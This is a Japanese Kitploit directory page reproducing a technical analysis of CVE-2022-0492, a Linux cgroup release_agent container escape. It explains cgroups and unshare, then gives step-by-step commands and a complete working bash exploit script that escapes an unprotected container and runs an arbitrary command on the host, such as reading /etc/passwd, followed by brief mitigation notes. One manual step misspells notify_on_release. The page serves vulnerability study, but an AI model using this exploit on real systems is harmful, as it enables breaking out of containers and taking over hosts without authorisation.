Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-0492 — CVE-2022-0492 Linuxカーネルコンテナエスケープの詳細な技術分析と動作するエクスプロイト。cgroup release_agentを介したもので、ステップバイステップのラボセットアップと緩和ガイダンスが含まれています。 | Kitploit
ツール/GitHubGitHub/chenaotian/cve-2022-0492
特権昇格脆弱性分析エクスプロイト学習と教育コンテナエスケープラボと実践
GitHubchenaotian/cve-2022-0492

CVE-2022-0492

CVE-2022-0492 Linuxカーネルコンテナエスケープの詳細な技術分析と動作するエクスプロイト。cgroup release_agentを介したもので、ステップバイステップのラボセットアップと緩和ガイダンスが含まれています。

リポジトリを見る
32934年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-0492 コンテナエスケープ分析

[toc]

脆弱性概要

脆弱性番号: CVE-2022-0492

脆弱性製品: linux kernel - cgroup

影響バージョン: ~linux kernel 5.17-rc3

脆弱性の影響: コンテナに追加のセキュリティ対策が施されていない場合、コンテナ内のroot権限を取得することでホストにエスケープ可能

環境構築

脆弱性のあるバージョンのカーネルを搭載したLinux上でdockerを使用する。

root@kitploit:~
# すべてのセキュリティ保護を無効にしてdockerを起動
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

本稿ではdockerを実験環境として使用する。

脆弱性の原理と関連知識

本脆弱性の悪用手法はすでにおなじみのものですが、脆弱性が発生するポイントはcgroupのrelease_agentを変更する際に権限チェックが欠如している点にあり、エスケープ利用のハードルがさらに低下しました(以前はCAP_SYS_ADMIN権限が必要でしたが、本脆弱性ではCAP_SYS_ADMINが不要です)。具体的な利用前提の違いについては、下記「利用条件」を参照してください。

脆弱性発生箇所

パッチを分析すると、cgroup_release_agent_write関数にパッチが当てられ、認証が追加されています。cgroupのrelease_agentは、権限のないユーザーが変更できなくなりました。

image-20220310201629995

したがって、本脆弱性は無効なアクセス制御であると特定されました。

cgroup の概要

cgroup (Linux Control Group) はLinuxカーネルの機能であり、プロセスグループのリソース(CPU、メモリ、ディスクI/Oなど)を制限、制御、分離するために使用されます。

cgroup には以下のサブシステムがあります:

  1. devices プロセス範囲のデバイス権限
  2. cpuset プロセスが使用可能なCPU数とメモリノードを割り当て
  3. cpu CPU使用率を制御
  4. cpuacct CPU使用状況(実行時間、スロットル時間など)を統計
  5. memory メモリ使用上限を制限
  6. freezer Cgroup内のプロセスを一時停止
  7. net_cls tc(traffic controller)と連携してネットワーク帯域を制限
  8. net_prio プロセスのネットワークトラフィック優先度を設定
  9. huge_tlb HugeTLBの使用を制限
  10. perf_event PerfツールがCgroupグループに基づいてパフォーマンス検出を行うことを許可

ホスト上のcgroupはすべて/sys/fs/cgroupにあり、各cgroupサブシステムを確認できます:

image-20220311113636040

docker内の対応するcgroupサブシステムは、ホスト上のそのcgroupの子ノードです。docker内でmemory cgroupを確認:

image-20220311113811776

ホストのdockerディレクトリ内の対応するコンテナ名ノードは、まったく同じです:

image-20220311113853019

cgroup の使用方法

cgroupはファイルシステムの形式で使用され、mount によってcgroupをディレクトリにマウントします。cgroupはVFS仮想ファイルシステムを通じて対話し、cgroupのインターフェースはファイルの形式で提供され、ファイル操作と同様の方法でcgroupのパラメータを設定します。

root@kitploit:~
mount -t cgroup -o memory cgroup /tmp/testcgroup

image-20220311111853198

ディレクトリ下にサブディレクトリを作成することで、cgroup子ノードを作成できます。mkdir /tmp/testcgroup/x

release_agent

cgroupの各サブシステムにはパラメータnotify_on_releaseがあり、その値はBoolean型で1または0です。リリースエージェントの指令を有効または無効にできます。notify_on_releaseが有効(1)の場合、cgroupがタスクを含まなくなったとき(つまりcgroup内の最後のプロセスが終了し、cgroupのtasksファイルのPIDが空になったとき)、システムカーネルはrelease_agentパラメータで指定されたファイルの内容を実行します。notify_on_releaseファイルを変更することでnotify_on_releaseの値を変更します。

image-20220311114023546

脆弱性はrelease_agentの変更に関連して発生します。本来はcgroupを操作できるならばrelease_agentを変更できましたが、cgroupを使用するにはCAP_SYS_ADMINが必要でした。しかし後に研究者がunshareコマンドを使って新しいnamespaceを作成することで全てのcapabilityを取得できることを発見し、CAP_SYS_ADMINの制限は事実上なくなり、脆弱性利用のハードルが大幅に低下しました。

unshare コマンド

unshareコマンドの機能は、指定された親プロセスの名前空間の共有を解除し、指定されたプログラムを実行して新しく作成されたnamespaceに追加することです。本脆弱性の利用に関連するのは、unshareで新しく作成されたnamespaceは、CAP_SYS_ADMINを含むすべてのcapabilityを持つことです。

image-20220311102635204

脆弱性の悪用

本脆弱性の悪用は、従来のCAP_SYS_ADMIN + cgroup release_agent エスケープ方法と同じですが、利用条件が異なります。

利用条件

従来のrelease_agentエスケープとの利用条件の違いは次のとおりです:

従来のrelease_agent:コンテナがCAP_SYS_ADMINを持ち、かつapparmor、selinuxが無効になっている必要がある。

cve-2022-0492:コンテナが「裸」の状態(より詳細には、seccompがunshareを無効にしておらず、apparmorがcgroup読み取り専用を有効にしておらず、selinuxが無効)であり、コンテナ内のroot権限を取得する。CAP_SYS_ADMINは不要。

特筆すべきは、dockerのapparmorはデフォルトでcgroup読み取り専用を有効にし、dockerのseccompはデフォルトで非CAP_SYS_ADMIN権限でのunshareを無効にすることです。k8sのデフォルトは通常「裸」のコンテナです。いずれにせよ、悪用が比較的容易であるため、具体的なシナリオで試すことができます。

脆弱性修正後:パッチのコードによれば:

image-20220310201629995

release_agentファイルを変更するには、次の2つの条件を満たす必要があります:

  1. ルート名前空間であること
  2. CAP_SYS_ADMIN cap権限を持っていること

したがって、脆弱性修正後は、unshareで取得したCAP_SYS_ADMIN権限ではrelease_agentを変更できなくなります。なぜなら、unshareで取得した新しい名前空間はルート名前空間ではないからです。ただし、コンテナ自体にCAP_SYS_ADMIN権限がある場合は、引き続きこの方法でエスケープできます。

脆弱性の悪用

CAP_SYS_ADMIN の取得

dockerの起動に--cap-add=SYS_ADMINパラメータまたは--privileged(特権コンテナ)が含まれている場合、CAP_SYS_ADMIN権限が付与されているため、追加で取得する必要はありません。次のような起動コマンド:

root@kitploit:~
# sys_admin付きでdocker起動、apparmorを無効(マウントできないため)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

CAP_SYS_ADMIN権限を持つdockerでは、次のステップ「release_agentの変更」に直接進めます。CAP_SYS_ADMIN権限なしでdockerを起動し、脆弱性を再現するコマンド:

root@kitploit:~
# すべてのセキュリティ保護を無効にしてdockerを起動
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

CAP_SYS_ADMINがない場合、次のunshareコマンドでCAP_SYS_ADMIN権限を取得します:

root@kitploit:~
unshare -UrmC --propagation=unchanged bash 

新しく取得した名前空間はすべてのcapability権限を持ちます。

image-20220311102635204

cgroupのマウントとコンテナのホスト上のパス取得

cgroupをディレクトリにマウントします。このステップではmountを使用するため、CAP_SYS_ADMIN権限が必要です。前のステップでCAP_SYS_ADMINを既に持っているか、unshareで取得している必要があります。さらに、マウントしたcgroup内にcgroupノードを作成し、後でtaskをクリアする操作を容易にします:

root@kitploit:~
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
# さらに /tmp/testcgroup 内に作成
mkdir /tmp/testcgroup/x

ここで memory がマウントできない場合、または memory に release_agent がない場合は、他のcgroupサブシステムに変更してください。

/etc/mtabファイルからマウントされたdocker overlayファイルシステム情報を確認できます。upperdirはコンテナのルートディレクトリのホスト上の絶対パスです:

image-20220311104701790

次のコマンドで取得できます:

root@kitploit:~
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

release_agentの変更とエスケープのトリガー

notify_on_releaseを1に設定し、taskプロセスが空になった後にrelease_agent機能を実行するようにします:

root@kitploit:~
echo 1 > /tmp/testcgroup/x/notify_no_release

release_agentトリガー時に実行されるファイルを作成します:

root@kitploit:~
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result"  >> /cmd
chmod 777 /cmd

release_agentを変更し、ホスト上のcmdファイルのパス(上記で取得したコンテナルートディレクトリのホスト上のパス)を指定します:

root@kitploit:~
echo "$host_path/cmd" > /tmp/testcgroup/release_agent

次に、x cgroupノードにタスクを入力します。自分の所属するshのPIDをcgroup.procsに書き込みます。

root@kitploit:~
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

shコマンドはecho命令のみを実行し、一瞬で終了するため、x cgroupノードにはタスクがなくなります。これによりnotify_on_releaseがトリガーされ、release_agentが指す/cmdファイルが実行され、カーネルがトリガーされ、コンテナ外で指定したコマンドが実行され、エスケープが完了します。エスケープ成功:

image-20220311110810458

exp

手順に従ってexpを作成しました:

root@kitploit:~
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result"  >> $cmdPath
chmod 777 $cmdPath

#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash

subsys=\$1
mountDir=\$2
host_path=\$3

mount -t cgroup -o \$subsys cgroup \$mountDir 
if [ ! -d \$mountDir/x ]
then
    mkdir \$mountDir/x
fi

cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent

sh -c "echo \\\$\\\$ >  \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir 
EOF
chmod 777 ./escape.sh

#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}

ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
    ifSysAdmin=1
fi

if [ $ifSysAdmin == 1 ]
then 
    echo "[+] You have CAP_SYS_ADMIN!"
else
    echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi

#try escape
while read -r subsys
do
    if [ $ifSysAdmin == 1 ]
    then
        if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
            ./escape.sh $subsys $mountDir $hostPath 
            echo "[+] Escape Success!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    else
        if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
            unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
            echo "[+] Escape Success with unshare!"
            rm -r $mountDir
            cat /result
            rm  /result
            exit 0
        fi
    fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')

echo "[-] Escape Fail!"
rm -r $mountDir

直接実行し、実行したいエスケープコマンドを引数として渡します:例:./exp.sh "cat /etc/passwd"

エスケープ成功:

image-20220311153511050

緩和策

dockerのデフォルト状態ではseccompとapparmorが有効になっており、デフォルトルールのseccompとapparmorが有効なコンテナでは脆弱性を悪用できません。k8sのデフォルトにはセキュリティ対策がなく、手動でseccompとapparmorまたはselinuxを有効にする必要があります。

参照

https://nvd.nist.gov/vuln/detail/CVE-2022-0492

https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492

https://www.freebuf.com/vuls/264843.html

また、この脆弱性の発掘者にも問い合わせを行いました。

ツールをダウンロード